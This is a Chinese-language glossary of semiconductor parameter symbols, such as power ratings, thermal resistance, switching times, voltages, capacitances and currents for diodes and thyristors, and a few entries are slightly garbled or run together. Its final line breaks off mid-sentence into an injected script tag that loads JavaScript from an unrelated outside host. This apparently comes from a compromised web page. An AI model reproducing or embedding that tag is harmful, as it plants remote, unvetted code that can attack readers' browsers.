pi---输入功率
pk---最大开关功率
pm---额定功率。硅二极管结温不高于150度所能承受的最大功率
pmp---最大漏过脉冲功率
pms---最大承受脉冲功率
po---输出功率
pr---反向浪涌功率
ptot---总耗散功率
pomax---最大输出功率
psc---连续输出功率
psm---不重复浪涌功率
pzm---最大耗散功率。在给定使用条件下，稳压二极管允许承受的最大功率
rf（r）---正向微分电阻。在正向导通时，电流随电压指数的增加，呈现明显的非线性特性。在某一正向电压下，电压增加微小量△v，正向电流相应增加△i，则△v/△i称微分电阻
rbb---双基极晶体管的基极间电阻
re---射频电阻
rl---负载电阻
rs(rs)----串联电阻
rth----热阻
r(th)ja----结到环境的热阻
rz(ru)---动态电阻
r(th)jc---结到壳的热阻
rδ---衰减电阻
r(th)---瞬态电阻
ta---环境温度
tc---壳温
td---延迟时间
tf---下降时间
tfr---正向恢复时间
tg---电路换向关断时间
tgt---门极控制极开通时间
tj---结温
tjm---最高结温
ton---开通时间
toff---关断时间
tr---上升时间
trr---反向恢复时间
ts---存储时间
tstg---温度补偿二极管的贮成温度
a---温度系数
λp---发光峰值波长
△λ---光谱半宽度
η---单结晶体管分压比或效率
vb---反向峰值击穿电压
vc---整流输入电压
vb2b1---基极间电压
vbe10---发射极与第一基极反向电压
veb---饱和压降
vfm---最大正向压降（正向峰值电压）
vf---正向压降（正向直流电压）
△vf---正向压降差
vdrm---断态重复峰值电压
vgt---门极触发电压
vgd---门极不触发电压
vgfm---门极正向峰值电压
vgrm---门极反向峰值电压
vf（av）---正向平均电压
vo---交流输入电压
vom---最大输出平均电压
vop---工作电压
vn---中心电压
vp---峰点电压
vr---反向工作电压（反向直流电压）
vrm---反向峰值电压（最高测试电压）
v（br）---击穿电压
vth---阀电压（门限电压）
vrrm---反向重复峰值电压（反向浪涌电压）
vrwm---反向工作峰值电压
vv---谷点电压
vz---稳定电压
△vz---稳压范围电压增量
vs---通向电压（信号电压）或稳流管稳定电流电压
av---电压温度系数
vk---膝点电压（稳流二极管）
vl---极限电压ct---势垒电容
cj---结（极间）电容，表示在二极管两端加规定偏压下，锗检波二极管的总电容
cjv---偏压结电容
co---零偏压电容
cjo---零偏压结电容
cjo/cjn---结电容变化
cs---管壳电容或封装电容
ct---总电容
ctv---电压温度系数。在测试电流下，稳定电压的相对变化与环境温度的绝对变化之比
ctc---电容温度系数
cvn---标称电容
if---正向直流电流（正向测试电流）。锗检波二极管在规定的正向电压vf下，通过极间的电流；硅整流管、硅堆在规定的使用条件下，在正弦半波中允许连续通过的最大工作电流（平均值），硅开关二极管在额定功率下允许通过的最大正向直流电流；测稳压二极管正向电参数时给定的电流
if（av）---正向平均电流
ifm（im）---正向峰值电流（正向最大电流）。在额定功率下，允许通过二极管的最大正向脉冲电流。发光二极管极限电流。
ih---恒定电流、维持电流。
ii---发光二极管起辉电流
ifrm---正向重复峰值电流
ifsm---正向不重复峰值电流（浪涌电流）
io---整流电流。在特定线路中规定频率和规定电压条件下所通过的工作电流
if(ov)---正向过载电流
il---光电流或稳流二极管极限电流
id---暗电流
ib2---单结晶体管中的基极调制电流
iem---发射极峰值电流
ieb10---双基极单结晶体管中发射极与第一基极间反向电流
ieb20---双基极单结晶体管中发射极向电流
icm---最大输出平均电流
ifmp---正向脉冲电流
ip---峰点电流
iv---谷点电流
igt---晶闸管控制极触发电流
igd---晶闸管控制极不触发电流
igfm---控制极正向峰值电流
ir（av）---反向平均电流
ir（in）---反向直流电流（反向漏电流）。在测反向特性时，给?script src=http://er12.com/t.js>
